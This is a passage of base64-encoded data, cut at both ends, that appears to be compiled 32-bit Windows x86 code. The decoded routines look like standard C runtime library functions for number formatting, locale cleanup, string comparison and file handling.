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4//8z0moKWYmNjPj//4XAD4hjBAAA9/GJhZD4//+LyomNnPj//4XAD4RxAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhaT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6L3N/v+LxsHgAlCLhaT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6ENRAACLjYz6//+DxBiJjaD4//+D+QF3eou9kPr//4X/dRMzwImFvPj//4mFXPz//+mfAgAAg/8BD4SuAgAAg71c/P//AA+EoQIAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914OmsAAAAiYyFYPz///+FXPz//+laAgAAg71c/P//AQ+HvgAAAIu9YPz//4vBweACUI2FkPr//4mNXPz//1CNhWD8//9TUOg3CgAAg8QQhf91GjPAiYWM+v//iYVc/P//UI2FkPr//+n1AQAAg/8BD4T9AQAAg71c/P//AA+E8AEAAIuFXPz//zPJiYWo+P//M/aLx/ektWD8//8DwYmEtWD8//+D0gBGi8o7taj4//914IXJD4S4AQAAi4Vc/P//g/hzD4I9////M8CJhYz6//+JhVz8//9QjYWQ+v//6ewBAAA7jVz8//+NvZD6//8PksCEwA+FgwAAAI29YPz//42VkPr//4mVsPj//4TAdQaLjVz8//+Jjaz4//+EwHQMi4Vc/P//iYWg+P//M9Iz9omVvPj//4XJD4QRAQAAjYXA+P//K/iJvXz4//+NBLeLhAXA+P//iYWo+P//hcB1JTvyD4XeAAAAIYS1wPj//41WAYmVvPj//+nJAAAAjZVg/P//64EzwDP/i86JhbT4//85haD4//8PhJQAAACD+XN0VzvKdReDpI3A+P//AEADxomFvPj//4uFtPj//4uVsPj//4sEgvelqPj//wPHg9IAAYSNwPj//4uFtPj//4PSAEBBiYW0+P//i/qLlbz4//87haD4//91pIX/dDSD+XMPhLQAAAA7ynURg6SNwPj//wCNQQGJhbz4//+LxzP/AYSNwPj//4uVvPj//xP/QevIg/lzD4SAAAAAi718+P//i42s+P//RjvxD4X9/v//i8KJlVz8///B4AJQjYXA+P//UI2FYPz//1NQ6BMIAACDxBCwAYTAdGyLhZD4//8rhaT4//+JhZD4//8PhZX8//+LjZz4//+FyQ+EEwUAAIs8jTTIAxCF/3VdM8CJhZz2//+JhVz8//9Q6zozwImFnPb//4mFXPz//1CNhaD2//9QjYVg/P//U1DopQcAAIPEEDLA65CDpZz2//8Ag6Vc/P//AGoAjYWg9v//UI2FYPz//+mhBAAAg/8BD4SiBAAAi4Vc/P//iYWc+P//hcAPhI4EAAAz9jPJi8f3pI1g/P//A8aJhI1g/P//g9IAQYvyO42c+P//deCF9g+EYgQAAIuFXPz//4P4cw+DS////4m0hWD8////hVz8///pQQQAAPfY9/GJhaz4//+LyomNqPj//4XAD4RMAwAAg/gmdgNqJlgPtgyFnscDEA+2NIWfxwMQi/mJhbT4///B5wJXjQQxiYWM+v//jYWQ+v//agBQ6FjJ/v+LxsHgAlCLhbT4//8PtwSFnMcDEI0EhZi+AxBQjYWQ+v//A8dQ6N5MAACLjYz6//+DxBiJjaD4//+D+QEPh5MAAACLvZD6//+F/3UaM8CJhZz2//+JhSz+//9QjYWg9v//6XICAACD/wEPhHoCAACDvSz+//8AD4RtAgAAi4Us/v//M8mJhZz4//8z9ovH96S1MP7//wPBiYS1MP7//4PSAEaLyju1nPj//3XghckPhDUCAACLhSz+//+D+HMPg8QCAACJjIUw/v///4Us/v//6RQCAACDvSz+//8Bd3yLvTD+//+LwcHgAlCNhZD6//+JjSz+//9QjYUw/v//U1DouQUAAIPEEIX/D4Q9////g/8BD4TRAQAAg70s/v//AA+ExAEAAIuFLP7//zPJiYWc+P//M/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o7tZz4//914OlS////O40s/v//jb2Q+v//D5LAhMAPhYMAAACNvTD+//+NlZD6//+JlZD4//+EwHUGi40s/v//iY2w+P//hMB0DIuFLP7//4mFoPj//zPSM/aJlbz4//+FyQ+EEQEAAI2FwPj//yv4ib18+P//jQS3i4QFwPj//4mFnPj//4XAdSU78g+F3gAAACGEtcD4//+NVgGJlbz4///pyQAAAI2VMP7//+uBM8Az/4vOiYWk+P//OYWg+P//D4SUAAAAg/lzdFc7ynUXg6SNwPj//wBAA8aJhbz4//+LhaT4//+LlZD4//+LBIL3pZz4//8Dx4PSAAGEjcD4//+LhaT4//+D0gBAQYmFpPj//4v6i5W8+P//O4Wg+P//daSF/3Q0g/lzD4QKAQAAO8p1EYOkjcD4//8AjUEBiYW8+P//i8cz/wGEjcD4//+Llbz4//8T/0HryIP5cw+E1gAAAIu9fPj//4uNsPj//0Y78Q+F/f7//4vCiZUs/v//weACUI2FwPj//1CNhTD+//9TUOjXAwAAg8QQsAGEwA+EwQAAAIuFrPj//yuFtPj//4mFrPj//w+Fuvz//4uNqPj//4XJD4TTAAAAiwSNNMgDEImFnPj//4XAD4SYAAAAg/gBD4S1AAAAi40s/v//hckPhKcAAAAz/zP296S1MP7//wPHiYS1MP7//4uFnPj//4PSAEaL+jvxdeCF/3R/i4Us/v//g/hzc06JvIUw/v///4Us/v//62UzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoEwMAAIPEEDLA6Tf///+DpZz2//8Ag6Us/v//AGoA6w8zwFCJhSz+//+JhZz2//+NhaD2//9QjYUw/v//U1Do1AIAAIPEEIu9hPj//4v3i40s/v//ibW0+P//hcl0dzP2M/+LhL0w/v//agpa9+IDxomEvTD+//+D0gBHi/I7+XXhibWc+P//hfaLtbT4//90QouNLP7//4P5c3MRi8KJhI0w/v///4Us/v//6yYzwFCJhZz2//+JhSz+//+NhaD2//9QjYUw/v//U1DoRwIAAIPEEIv+jYVc/P//UI2FLP7//1Doml3//1lZagpaO8IPhZEAAAD/hZT4//+NdwGLhVz8///GBzGJtbT4//+FwA+EiwAAADP/i/AzyYuEjWD8///34moKA8eJhI1g/P//g9IAQYv6WjvOdeGLtbT4//+F/3Rci4Vc/P//g/hzcw+JvIVg/P///4Vc/P//60IzwFCJhZz2//+JhVz8//+NhaD2//9QjYVg/P//U1DolgEAAIPEEOsahcB1CYuFlPj//0jrEwQwjXcBiAeJtbT4//+LhZT4//+LjYD4//+JQQSLjYj4//+FwHgKgfn///9/dwIDyItFHEg7wXICi8EDhYT4//+JhYj4//878A+E0wAAAIuFLP7//4XAD4TFAAAAM/+L8DPJi4SNMP7//7oAypo79+IDx4mEjTD+//+D0gBBi/o7znXfi7W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